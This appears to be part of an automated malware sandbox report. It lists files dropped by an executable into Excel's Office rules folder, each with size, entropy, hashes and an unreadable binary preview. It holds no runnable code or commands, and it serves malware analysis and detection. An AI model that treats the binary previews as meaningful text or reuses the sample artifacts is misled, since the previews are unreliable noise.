Preview:	<?xml...]{...}..@.:...K..@k^P.8..<...w{..%3.K..lG...".4.L....m^.~.......xd....w..t.!..5....mX...2...#...s...mx.-4..}.<g...R..U.\|#ed.o..ms...I..ok@.Q.......1ZQ....:vY[H..[.3KK...T-.5.Bg.6.,.(.t.5P.V....I..4t....D._.5.5...L..aw=..l~.U.c.....=s.)...A!.....O.U.M....s.u.!.\|..B.....N.=...-Ma.E.....M.<.#-......./f._Y.+@......`%Q.m. O.s..N..R.TH.n....z..4..d.0B....v&..4.B3e.]rx......\|.e=.3..g4.I.>..q.~....D.R..g..bAXp.6..t.s.a.'....'...X....fd.~.wC....V...O=u.~D.....p..mE+...jHp..P......\|.R....g.0.h..8^...[..Q....[..X..........}1.N.....:F0P.....;..y.,....b.......)....?..7~.....!....U...3j..e.I......c........cau.f.9[..8.r'...Z...\M..E..o<.<..6...>K"kL.3Y.03/...I....H.n.I.1o.....urAGt....m..U...Ern....w..r......o.......\|q..M....XM..C.m.].....Z....2...zx..2..0..F.GC..]$..$....].Gn.}..d....X.i.t......\|.^..g.`..).'..=a.u.4E........e +Y-.~7..).9/....Y......s..`..`T..rD....kh.t...9..l9.V....%...Y.p....".Q........o..o..XM.#..z8.4_...79....q.c.5E

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170088v3.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1155
Entropy (8bit):	7.790751665943299
Encrypted:	false
SSDEEP:	24:paWvJV/Tg3A3BCzt05EfDoY33Zhyy2+OCHecVbD:gSJV/Tc50Sf/C+OIecFD
MD5:	6B2B722FB0FA21493653148D321CFDB0
SHA1:	BE9E5F08C8B097992E5C737228AFF7E3BA932AC1
SHA-256:	62B368D436B84B968CEA61D5AC6A70BA24B85AA3E9AC0921D9C0650E799C5366
SHA-512:	60A54C25928AD45861E78A0C7DD992FDD8EF5B2A433D2150A63BA0352DFFD641268933D381DD9AF1CD70D2A8D648A54FAD309334C82CA185DA6A39B004426D95
Malicious:	false
Preview:	<?xml.-....6.I.o......y.......=...d.....l..?..F.k.nL..z..h...RXO......Cv..wC.o..\|I...H..v.)'..M.4..<...>.n..2y.". E0= 8.DKF.I.-.. h\W\...<N..b..7.iI.3!......J...F..A-.>j..j.d..d.....b&w.......A.xp.<.........diU$..H..zoC.C.....h..Dp..M... k{......S.L...........m.O$SOHB.....'...-...~.rQ..t.v.F..l.{.....9......J.A.^.....n...jt.lq....U.I\|z...5.^n\|.."7c^'...,.R..J.(F..&..a}#..r.i...t..2....u.....%?.n...D..&\|a^.~..#C.5.t.zFC..g.0,.Mp...u^u.....X..cF....n....n.6..D1.y,..b./Q(..Q..^.r8........Z.W`...Y^......\|....f.M.....)<.x...- .\.......1....U.r.x....P.b...0<...idG.....}y..u.N....M....6.m\a.kS..yS..<=....[0p.....@...Y..X......8S.."BG...V...Z.~.{."..U.$2.J..k...."....&.~...C........cz.g.h..eZ..i.s.....!... $.0..uI.V...@......X...{9.*.?.p"g.Z.....v.B.=F..eJ.....+y.....R...5...O.@#N.2.\|..]..\|W....z^....t...I2.....X.....r...w./kI.L.[....q../a.@..T....P...hU}[s.-..Q.\....9.{.k.;..^.g.xEA.Oln)gi~...-?...N...f38v].kd.4.....$o....8l.!. >.Cd.y../..SDB.=.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170089v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	715
Entropy (8bit):	7.680763665443775
Encrypted:	false
SSDEEP:	12:GxRXR3ZMmFlOHCyHaqop90hrNcpdYPsVjXsZZxTTlGGb3+px/RajVcii9a:Gx3Zy6h0hrEosVjQZxPlGGaH/uVbD
MD5:	144F22A22F41D00D9A185AF323B04F86
SHA1:	191DF5714A17600093E8D494E7275C09BB3B5BF9
SHA-256:	D6D7F655B3C74DE142B88F0500A8B39593C0FD8E61308403A9E1144BF3000830
SHA-512:	93986861D2FD1EE702130D6D5C2284BE9C102AB06F6D3F23FD07E8B9959D4C8F5EFFDCAF993C991B397A0844DD931A09CA12F9E1F527968D0FC23C978AD9F5D8
Malicious:	false
Preview:	<?xml6.....}..`.3...U.w%.w.v.vX.Tu.....X.=MQ..-..c.9.>#..Y.["q...8.{.........Hb.n...]W..v.tW`.j..j..DBI.R.....C.....ppd.Y.7D......./.F.}......P.o..$....mb>.m..r...nr.\|cH2+D...b...8....D6..f.y3........~......C....x...-P..74^...5Y\.n....-9`......+..../M..".n..B...O.].7.G..J..M<.._F=.}...4.d...g.lHu./.+Pm........~..s.;.m.L..S....\|]rF.w[..d.'7D...X.v...B. .. $..U.....h/%A{...!!v..B....._....D)ks..<.:..>?K...n...9...,...q>...j.T_....$.>...jJ!.A.K:.....J...]...-.{..S....,$...]Id..L.......{.*m..E}.xc.4\.Nzc.ca..er\..u..S..(..5kl.........:.R...P'.$C.U....M..o4..+9..:..H....p...ql...WT)...l.N.._...^j..."l..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170091v2.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1398
Entropy (8bit):	7.885739588072745
Encrypted:	false
SSDEEP:	24:7LWKSOC7DAYwuBx3IHEDNjRzowmhaFkE/+s2KbGVbD:GKSrDRwDSJRzowm2kw12AGFD
MD5:	95BEE22E6066B892315C94E3097C664B
SHA1:	26058478DA2930C37216F7E9E8E53E0F562A8D82
SHA-256:	75324C5DF1052C4589171894AD1A4D8195316AD6777CDA244A1F537CD5C77274
SHA-512:	6F6097AEBBB71C5D5A75BC8B30A93CC59FD56B5FC03E96BD3531BA00D3CC4EE58175EC9AB5C65988ADD0111BE80935FAA8DE8B38ABA8BA536E649336694ACF2B
Malicious:	false
Preview:	<?xmlf...$.:I..<VW..z.#..+.(Te_..{...U...{e.o..L..3.)..6Bd<.?).q1..o /k./G....!.z.'\|N.A..w.y.B. $.L S.......x.l..H.....'R8$#..d.A...R.....c{..........V........!w........2o......;^..!...T..F/.Eo.L.c.L..&....TYf..C....q.o/&..!..)u.o.+..6F.<.894D..s..P!...S.....n.G,g...s..f.H.<.@....\|....K;.....4..J....[./..h.....pO.....}.<D.9...eT.\....;!...."..M.i.+.Zj.z............._...1)..........9Ib....Q..."Fa.E..~.%nS.j.;Q $Q..yd....%.........=.M{..D...^.._Ce.P]..\|..t...pOl<.M..E.E..jc.-...<ma]....@G....})a].r.X....'v.rc2......+.4O...=/...).-"9?....*0...z...I.....2BG..G..Bn...W.....3.e..az...3.P&...(.tKY....a.V.}..HH?.~.U...Ur.[.k...0...9G.:.}.!..?@t.spY.CH.....X...f...+kV.k:?J.P.......-h......(U.....:o.{c.C.u..)..b&...J.8.>.2...i......./.g.a...CC.+.z.W.....EV+zw....T...m....d}.....3xK...4.>3..-.)j..O.S`.lr[D..gM....Zg........Jf.9...o..`.~..Qc...u.RZ..SW^...7....ml....C.Q..s..SO.]{.q.D...............h.N....p.2N:.w_h\.....2.+...mu.o/.....G.....8.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170095v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1008
Entropy (8bit):	7.788255497643325
Encrypted:	false
SSDEEP:	24:WH9O6WD6J+W2N11tneEINVG3bUlnV3gUQCQq4KUVbD:E9FWDF3eRG3byVxQCSFD
MD5:	F955E028A40A79E50E309838B3D4B2CD
SHA1:	D2F6E2F8D8837E8BCDD44CBE98195378AD91F7C4
SHA-256:	C085B92918DD9CB504C3E96A00319F94E419DE18223C564A0374FBD50ABDEDD1
SHA-512:	B6ED439C307595355556C8FF79E6C470AC7C35B2A04BD0787C797523ADD5C484BED54C8270FF01304F4C8C3252240F48C961653619230F5D8E958E572924FC2E
Malicious:	false
Preview:	<?xml.....F...}...]+:!&v.......L.Mv.A+..p.[1..]pY..\{.;...c--.t...D..._.k.....kc..........P.M...\|..f.....,O}...d1.5.3.s.(..........X:[....N.h.........ms........f"...._..#.)..........v..E.J.B..\|.Mpe.6[.8....'.q...o^XZ....F.y7 EE.......Y.u..M..j ..h....%.t...=...d.~^Y..W..}.....N[a..d...8....u~..%.. ....c`o.F.W7..s/:.J..O....Qi.P....7...f.....I.u.%F.w{g.....G.....>..D........D.B.9H...y_.,.LM.....J....q.&.l'.(.S..!_...2..\....n.....~w5....V..6._.kp..-.#[w........Y...2n.a.....9}G.av>.'8...:)..k2v.C...WD.d.N...,...D.'2hW......heH.i.....zR.]W...7.H)%.....$...H..............p.q...N...,d...._.?....1..e.......I/+.{.w.VSG..`cw...Q>G[+..Q.+.../Q......).~\.$.....82....=.F3&..N.E..E...L;..}.....p.Br.......r....lN.0....#"D;.r.k}\..I].aH......(..V..mC.....TB..G...Z...%P.2..[..m...`.-....m.m\|.?_...X.}.U.p..Q.*K...8W.6.....r'J.b..Z.P..(..{.....M...M..v..]l....:..=...'Q..j.....v..=g.E(..?t.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170096v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	719
Entropy (8bit):	7.672244771731477
Encrypted:	false
SSDEEP:	12:+/d37qaVhxC3BdIsIS6Pmj3vcXFFAoDhvk+GIuDxiFyNUwEHk6vQCEKlqxhQgCVZ:CE3BdmPmyAoDhvjGIMoFyQk6Iyc9C1VX
MD5:	89E17110CF0B3F6A6D728B915AD228DA
SHA1:	9E06F28E3804816983D6B2D6546CF8BFD5F67865
SHA-256:	AA0AA0110D5169DFF419A9CAC089D667D5FCD71D71E342678E9FF33DA2E3E70E
SHA-512:	4B15CEDA58154DF3172309912472F52EA72E85BD58A73BCF513DEB461236D395AD043527FDD437A5EC7B9D48498F9977D2CDAB8911019875688A39A1E049C4CB
Malicious:	false
Preview:	<?xml&.;....A)..5>ut^th.<.O_.x.)M...y..l.h&#.k...pB..S..D...z.....J.~;.....9`R.y.....^Y..u @.....t...O....u:......k...Q..B..z.o.....O?......_2...S....B...:.g.@.O".R........5.F~.I{:C.6.B.bBh....\|d)..K....L.P.......J.y..=OE[.)...W.5!U..6....K.QV.)u..}......2.G.{.0W...rK8nq..M..>S...9.l.c.....6..M.t...j....yjf.ok..5..=.17.s.W:...v.....s.M..a.%.c.+.T..8.7.GHj...zPf#"...rk..q........t!./.../.&I.:.V...T'.." ........S-2>&...(.&..u.E.E.-...G.4....x..g..':...or.3.>c\|*..<..g+..#\.+.....H.uR...A..Q.3.2D...N.\|osm\.w+..n.?.q.s9..:,N..B....@J.....&......'.....=..n.m.ca....i..S...$.5.7.3X>N<R=.'~@.....&.E..P...A.:..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170097v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	793
Entropy (8bit):	7.714482248671098
Encrypted:	false
SSDEEP:	12:9hErthql4KmyhO+6zSlnH4JZjasnEUjyw90YD5v3onT3ijdTQI2PZ1llPIZTlDYU:vE3g6a4L2sEQyjYD6nmhTQI28DexWVbD
MD5:	5E02E0E6643C4EDDB2E653C0EEDB51CA
SHA1:	B35FEFFA154990000F3728C75FEEE2490731B95F
SHA-256:	8B79A45BAE5EA2F6A786EE4C64081DC207ED9BEE171F5A00615F0EE41B9FEBA8
SHA-512:	96754FDFA183D3A192BE0DDE4D77A598FB6F77AB16DDD80B1782F33B10DFC75F47E68B07F881B43580A141ABC315EF1781C11A946905D3BB35CF46A8D32CB099
Malicious:	false
Preview:	<?xml.iJ..w..y.Eo".H...\|.)O...$.#....dK0..LHC....j.M6..F..Np.{)...)L..JB;S.".z#!_/C4.Z@..c..ZH.r.....3..1`..R..Eam4$..!\..;..,...II..l....P.z.d.bu...y$dz..5o..h..,.rU.Q.n#Y.../...$.....G.,{.^.+O^....Z......z....f......~..FIl..t...1...9~.\|9.8sV..F..).H,.m............v..k.t.l../.hnX...u..".'../...c.rt........R.\|7`.VL{.4.1r..i8S...Y....G.v.....;.U.\...........Y...a.....Po6!.S.d.{./......lM...ML"...K....G.T.......sE.D.....?.sL.[-.t........s...;+.u.L?..........L..i.u.....^...wxV....~.....F.a...2.x....k.......O...Z(%..i......2q....w.4...a....../...2i?1\|.l..U..G\.}....~%........AK.L...#...M.m..{.....T....h....%.AfW..2.Ok\|..=.PR{..F..d..T\.D#...w.!.c......f....g.%...4.Y.X`2.!.1..#itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170098v2.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	761
Entropy (8bit):	7.6957426500145925
Encrypted:	false
SSDEEP:	12:kBlCTOpf6Ge4T3PH9iC9Wiwrw2Kg3zvMyJs19kV4yvnmaJ9Kq4Zmv9VNjVcii9a:c8w3PEoCwX4zfs1qVPqStVbD
MD5:	28D62FD43CA78FCB78FCB0A52FF25EF0
SHA1:	BBB1F0CC48E1F152CFCADB60097206843C68E113
SHA-256:	1DF36F51B6E4AC3164906DB35AC5FB3821D4555E3BAE79D101C08A7664D7EE17
SHA-512:	6A08A8B75D498BAF73D960C9C0C5B0E65EA359648CC45C1464B07F2427F29A756BFAECC38CDDAF1EC37A8A5808811F5AC3293E59A174ACBBB764A11CE4AAED7C
Malicious:	false
Preview:	<?xml.8.2..m.%.`..#Y9....&X....!..u.Y.......F.F..Qs...[a+.....t. K....R..;Q.C..m(9R.3...Z...[l.....c.4.D1.g..8.?..0..\..T..t.(.dL.R.:....h.R..I..g...h....-..jt.1....O...@.t!.Bj\.3.j.Rd.@.t....7..w..>Kr../.a...GJ...>9.R.....m.]u..^..ef.................#}5Sms:.x.t.....]........{...#.T9.5.W...i...*..........&.V7{Dh..........A....-e..;N ...:....y....3.h.yl....:.l...DFT.FT.P....M..m..)'i.V....K+_.[y4.4..-.%.T..4...4..E.{b..p"K.........N......F....8z.QF.y.: ..K..B...XG...NN...-r...v...z./.i.5....v2..&!...J9~...p...b.,@.....+.....&..."..i.$j=.....9....0P...D..[..b..~Se.3..+..MM...c.o...C.....U.b.p.c...`...l7.Q....l....fX.R.....zX.'.X........Qe0~.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370001v2.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2604
Entropy (8bit):	7.927177885267847
Encrypted:	false
SSDEEP:	48:Qd5gKWir1HLJFjpMXBjj465Bdh3LJZMPhncRq/p3fQc4CgtDO37scFD:Qn+qrFN7KLZbacRqhvQG+O37sc9
MD5:	29CE3C68110B8D1F7F77B7414E14A8F7
SHA1:	0F8D569BAA7CF8C127940D3F2CC83C15EDDF8841
SHA-256:	0C41157FA2C14BFDD76B8C84E6FF17879AD8F5066FB94DAE671FE7E6F0961A4B
SHA-512:	DE73267A1913EE42877A9D227AF0AC9B71C9B584CF5BCA33FCEBB7052347FA089A7030B9C2EC9644DBC037C37DC33ECE4B8B04BD41EC3FDE9C675010C059D297
Malicious:	false
Preview:	<?xml\..t.Gmm.966.......?.?H..M.9....#/...4..0l...6"..s..pI......#.W3,F.a.&..u[....B...Q2..n._..Q.,.$..+...c..J..3..).......>...j.P-..n3..+O.Z.JO.e..b.......e..Z....1..5,.uB3...H....Z.#.84...Xv...c.....<.a^6@8.s..n.H...IM_`....F.OV......[. ...^..g.N........ch./=..x.3.......X6Wt0....S........P.S......O..i.G........N......I...kHo.....UswvCs...!.....fM.....D..f.V;e2...C...z...7...s l+.i........BH%..O.JIe.......b5{....BX\|:9...qA.MpM"m.7Pz;.@.H.....L..+r.Gd...(N..}.......S......}.FK.xD.sO....T`.o...knzJ.ZxB+.j ^f..E/..A..d.@T.o...\l...y.....W.:..oU.......{..r.ip........O..;.^..jv....w...;.1..s.r.3l4..z.[5rB._:..48...W$.......3n...@..7.'.f.._...D?....F~...lR....&#>....IG0.....2..F....;.w..T...:4Y%.. ...{s]^gB'y.#..u].x[a..W:.Z...7._EO2a...$.\....3...^F...9.f.y!uo2..E.=....8d..S.t,o.>.P%p..,.i........O...Z.:.F+}.6.X..,...h.'.+...P....EkJ._.A9..^.)E.Y.=......2.),.2V...0....'...zF$e..].O.._..M.D..`...r#.x&..[.xfmK..~...2?.i...AV'..a=*..i,.eK....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370002v2.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	6109
Entropy (8bit):	7.9696548546546016
Encrypted:	false
SSDEEP:	96:Dfj5qP3EiGX6juJRJOQLovPi/hNncuyS6hrtEYSsBfpVOGjhTA33bbkRP+7egjeQ:Dr5qP3EiMRJwHiDcuGkYDBfpDj1AER6z
MD5:	207E885DC8BEA388EE741C714BDF913F
SHA1:	9DB8992A21BB9FA2A9869F006BD66F6D2B45AAA2
SHA-256:	D4A83BA19C216B7867313B4229275432F1CFD41947082CACA92E3E5CB7C0C4D6
SHA-512:	4AAEE6B377E5ACAA83415C91D1D51F5995AD702A01333EEBBBEDC40B3F52FCD22A0BF5E1D6B676F6079F1BE321033E2EAC9B39172E5DD61BA42898D6BAC46188
Malicious:	false
Preview:	<?xml...X....P....9.`..`x1.1.G.)j.........D.P^..G3P^~@^..\|.T.7f.y`..!./.......$..\|D..&.....S.......f<\-.<.....ze?V...U..e..R...].M ..+G.U..E....=C.+....k..1M.I6........n....\|.}.3U.H_......?......y......K.-..i8h.e..'...1...l=.........+hO...l.T...E..)......9.D.(!...=..A`..'...N^.b$g3.H...o#..'7..G....Bqq/...y.P.2..B.&x.A....j@w?...I.bKu..i..y...F.M...aM.:.;}...u.9.j..(.`....d.....`.62.......\|.$.3.+.....\|..R..H.....9......RrX...dh.5X-..C.+@p..,FX...!.=....r..w..........W0#..w..E}..37...4.....I.<..JQ\|.....v......=....r......[.J.6..0M.'..K].a..[..U.J .YO.~t.F.u....Ps...W.m.x......8..1.l=k.;Fs..T.n..M.c5...g....:...c....5).[I...x.&a...^..].d..j....^..5..j..W.../.Z..E...<.w..:.X.!R T.G/..z.....:.V..X....I..:dY............:<...s.T$..Mc..}..UP..481.!....c...5...k......,X..4j...U...]w..7.....e.8........K......c.xt%..Y\..2..&.{..l..q..y.V......~.Q...U..C........M...F...q.3Mvn.S...a..<..}Oe.k......J.H&.\..V&D..!:.....&6Y+..7S.........1.....p

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370005v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1454
Entropy (8bit):	7.84906900463075
Encrypted:	false
SSDEEP:	24:FH8AVKzUiHeI1pTnGx91QdSFoqiwI1dIqjcS2vI/TQXNbJdC+sw7D3Cp+jaGqLvV:N8AUzUiHempjKDK3wIYqF2vI/0Ni+sOC
MD5:	6AAA9B9D3141E977AB096DA17D73795E
SHA1:	2C11B325829CB0A1C115B52C76EEFF9DBC66DC50
SHA-256:	BAF8F96208FAA393B7706EB0B11F59B0528E58E68AA295DB8CDE4F3FD08213D2
SHA-512:	1B3C509791F4B6A2B2D747882D3EDCDDF8632E98912A87E295031F15F7EA5AAAD46C5D456F5859E3D2F3DC951A99EFB8E317853F365C6D1ABD82737C50CE92BE
Malicious:	false
Preview:	<?xml..'.........@.$........F...i...o..EUD..L....5....../$~.F.........#.B...z..'..?...]I..?pF..+:XG.P......+.../...;q......uR..j.L..B#B..'.it...K......^..RLd@=~.(... ..j[...W[..z[\|...{.H._P...W......8..p.CZ...:..Y.w..aQj(V..s. ....P..T2..l....-D7x....p.$................jm...}..+y...f.x.da..vLh.l..!....K...).\g.S..._7)..)..........k..lK.W...Z.6u....@QmX.\..t_l...,.2.z..V+...^.'.T.x%.?Q.$..T.&Z...D.7..DxiG..U....\..H#.Z..V.\~..........j.....,BYwBH..U.........s.,.";,a...I.<......+Zb..C@..i.b.D{.....z.'.T....g.......w./A3/_)..s..)Rb.Cf..t0r(.l@.206.?@h..V.;I1..^.E...Y.w...hk.X.s..fQ!q..=z+..C....e.Gq....S....;...1=f......CN...k.YL....$..l.....}%M.t.I..... ....P.S..$...s.p..........'..Y.....Z.....+bF}....D..t..{...s.....%........,].F..s...<.H...........0.G.M.ti.%l./4U0.. .~\..q.b.V..sq.h..Ah.._.>....:.....D.N..8{-c.K.T..K.Ixl..C.u._.W...e....Z.%E.{...l........YY..y6$..pd...s.d..,....,.~k...-N.....KSs .(O....~[.@..,U....d=5....*tU..}.H.w

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370006v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1120
Entropy (8bit):	7.811472009643288
Encrypted:	false
SSDEEP:	24:KUyektjXLYw8kSE8XeGepdvlOxh8JyFUwKQpaxDtMvBpnmFAcx7Wi1oVbD:K+Ej/8XswWyFiQpaxKvD7G1oFD
MD5:	133461856BA632796861A5F6BA773915
SHA1:	B17BF5502B719BD007ACDBA0EE2D0959B1777716
SHA-256:	1D5CCFB0806AFE0CEC1F0468E214F5DFFC7BE708710AC413893ECE40D8845005
SHA-512:	BDB83C3E434758521A7070120AEAE09256C81B4DC24DD19ECB3F88364279623F64D865E5B0850CFB43B0A06F133F8B4C49DA570DC9E9B9ECC99E6C17FABAC697
Malicious:	false
Preview:	<?xml.....o.o..6.\...Y.H...:..$x..%.'..JR..c.$...z..].....C.-........!...&..b.n<N.O..R..u...>...nU.zKIK......p..R.m<...,n.H.SR.. j..lg.A..Dv.Pe8.Z...$.,.].e9.....}#o..?I.^.6%......@.y........\|...3.5..M...WP..Bys...+.b2...3....."....6..R.. P....?..O./..hr.0.6....2.."....q......no..W._.E.../.....r..F.2.......Y_..=(..&.L.g=-z.T...4.(.hsc..2dae.O..I.D....[.3.......D...<..t..p.......,.9cz$....vH..y ..\.&...2. ..........'....X(.g..H.....\|.I..yqN.[.....Qpn....\2.\(...?(.......3.....2[.8m,....'-5j.....5~.. .....&.,...1..&.p9.......9..m..G../...B.Q.f,QM.^q.YG+X..0.:.. .....+..1.........F..?g.....c.<.Oq...J..o.S...et;.`.<.k......yxB..!..L.Z..V.].D.i287U.-...[p...V$<.?.C..a.M.2..8`<.....Yuh..u...B[.A..Y)..6H..c\|u....:...'.Fx..C......_C....f....'O..%.t.... 5z..[I.._.^.T7y..k....U8.2.h.2....)....Y..NjB....Y.'..Z.WIw.{..h0O~.:,[...#d..c.gE..Z..Y4xt.Z.&."..\.Dg............... V~..3a$...t./..._......r=.".......]..;w.<t$."NYQa..U.a....50..1Z>.S*.p...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370007v3.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	3678
Entropy (8bit):	7.9504270554427015
Encrypted:	false
SSDEEP:	96:KF4UQPIKn9Hee0Q6Mm+D2lsYx3BBAlsoQhAVA1yjA/ek9:KF4UQgKn9X0TvsYRNoQhAVjA7
MD5:	C70AEC89DA689C9CE4E01699BA4B7AF1
SHA1:	73B9E0D43FFDB59525A73A80F082A058664501B1
SHA-256:	123D34C9E728ED3EA1FD4F92C7EEA08877EE6A2F5525DC48CE8F1647F0153179
SHA-512:	BA72A40DA1F8AD8B2653D6444193BCAD4FAB2117D10AC86D49BA5455F3FF33B228D05B95EEE4B6970E5A69CFD233A168E5E0E4B090F2F9A366C3563A88A7FA61
Malicious:	false
Preview:	<?xml.7....G....dlfW\|b.Uy...A=q8.S..\.}.......)V.-.J.w..f.\.^hH0i.h..R..b.0..&ZR\|.k.0..Z....5.Q.r..Z_\|.4N......j8...%@.......Z..m>.%..'..."6...Dp...g.....v.,G%7...p..6@.k...\|..a.gJ.`...!.\.<.wG..}..Y.bFFF.@#M).=6..J.ErG.PX..M.7Bk1.B.=...+lV..Y0w....).........X...}P..-...%.....q..c.uqF...tJ>..]m..#..)X....&.$....Ga..u..U\|....kVR/..c..e..Z....L.f.dE. .4..&.......H...h.....zI....;6:S3.....Z...<i..<..z.[.......p]..4py._...3.......e{..C.+..8.Ra..S2.......Y.'P.~.+.2..e.@t.5.".4.y.$I.t9.%w../s....l.s.....@..r57Y...,....O.y..4.....X..P.W...0....6U..n....V....._.K.%.D.. ...n...L}.g.j.... ......6Z.n..0.....;,YA...4.x...]w.p.~k.6..U..u....A..H.....{.N.'.[.'r8'..I......H.....f...DQ.....l./..t..9..IQ..H..>.....R..;0..q2..$._.vs7..L..G~_.q\..+.s../9......._2.q..\|.9..{..b.....x;.T...t#....\|....[..7C.tS.x..T.)...Y.....z.p3.8.b...Wi.$....G.m.R.;..D..B...6+.%.hgt..keI.s..7.^..> ....`..?.......h..yW.W...6..%S..x.c....k,..t../-k...h..~......l........SJ..DuH..&Z.B)f[.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370009v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	7.798039659797303
Encrypted:	false
SSDEEP:	24:bRUw9E76RVUsLPY2stU6HN2UL+R83fIHJVbD:u4VPsBN2USR8PKFD
MD5:	042CF94363322F2249D8C3EBBEAAA777
SHA1:	6F9DA422D8C93D521F8766E8A95C3E4583FDAEAE
SHA-256:	6B3B0E7EA093063DA8A2789B769486470A04BCE64DA3CFF1834CDAA0A9D3C64A
SHA-512:	63883C39820508B04906B720BB5A328FD980CA07F8234A8FDFB8518C8FD3CFCD4EA6B9AA8D56A2A602EAD3712805BE269FBBDF8F607924C1CC8934BC02A4607A
Malicious:	false
Preview:	<?xmlil.A[~.F...Txf4H7.0.Z...[....$.l..U/...'.[...-F?..E.<....#.1..,X..H..SOU......dl....I.A...8..:....\|......X..{.j.K..s.(C......+.. .*.tZ....`.J....{HY.....@@.....wl.[3v...$.:.Q...o0.Zf#.......`R...[$..].t..t.R..8..dU....@...9.....O.8....y..9..Mre\|....>.a.<....}-..s..,.....)^...).C.T.Uu]...4.........Q. a........9...Q..bo...P..S.#\|...............V..8.1....Z...,..x.....j<.7u.k.....U=w_+=.\....OEh...`.;r.......b2.......Bh...X....f.12.Jr.C..[k.,Y...C.......6H...\|.g.)<Z....B9...9/.zwY..EvH}B..`....n..?.q..M;u...y.y.\...P%..P.,..b.cq\..L....,.)...X$..&...E.c.x.,qS..Rp...n......'._'....F\.._F.......j4....,.P....Nh..R.......\.I....,.....Fk1...v.5...-R/.Mvd...wH.X.......LZe...e9..f...K..d..3 V.m<si..^,-....N./.$...c.i&B../.hQ\.%.7..~.=~;.....c.....lAVr3.]{[.py...b.. tN..-..h......-R....9.V.J/.f....?... .=..g.........}!.....wt..:..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370011v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1191
Entropy (8bit):	7.829789745903223
Encrypted:	false
SSDEEP:	24:271Ux+bwIh2hJIQHOE0183IVweia7CPaXVNpC+24VbD:vkwS2HIQuEjIVyhaXVr9FD
MD5:	92A23054BE4AEDC6249CDA64762E602D
SHA1:	9BF0FFFE5C5773F56050DA06913925B069F18FA5
SHA-256:	3ED917F316D277FD0D86B720B1127F2DAC31D5C7C1FB773AE735FF292B3E59CD
SHA-512:	318A305AFEB89A1EB1C5CC13EA236D08597054F4F2F7A39CD86A60D4B4D277286666E8D7729D48A21DC08FC786FE8CB4709A8D0C9BDDE843CC85FC559E4A9898
Malicious:	false
Preview:	<?xml..8q4<2.o4..~3...}Z.....,O.]/ ...J..V<.......:.I.%Oc..ME.f.......m.r..n.X...6:i^/x..r.f.M8T%..~(.s..c.... ....U..RO....@.....?.1.S.h5Q..L...2b._8_.....=..bD%.llL...V...&....//....x........<.K.{...4h...<<../...H[..;...%...]....kc.>....Jj5.O.N9Lj..J...G'..f...}N.KHf_..<.?...k@.OC.1..r.....+.v_.".}...X..x..vkE..9.nuy....u...n.\.K..C..D.o.......!(....M...0w..B...s...?.J..8....G..7...%..Z.Z.~.._.N~.~...7.c......>.\|..r .e.E;G.....{XR.,............c...P...-.n:.8[I.n..v.@.......6J......].#..!.h?{4&..._.09}.C.pN..0.4 .%"..oo.........a...)K......W8x..C...c..!z....).EF...?0.`...e..4s...^f........D.&...9.yzl.Bs.0.......#.'.....Fmnj. ^..n$cU..QP..O.[+a.._ 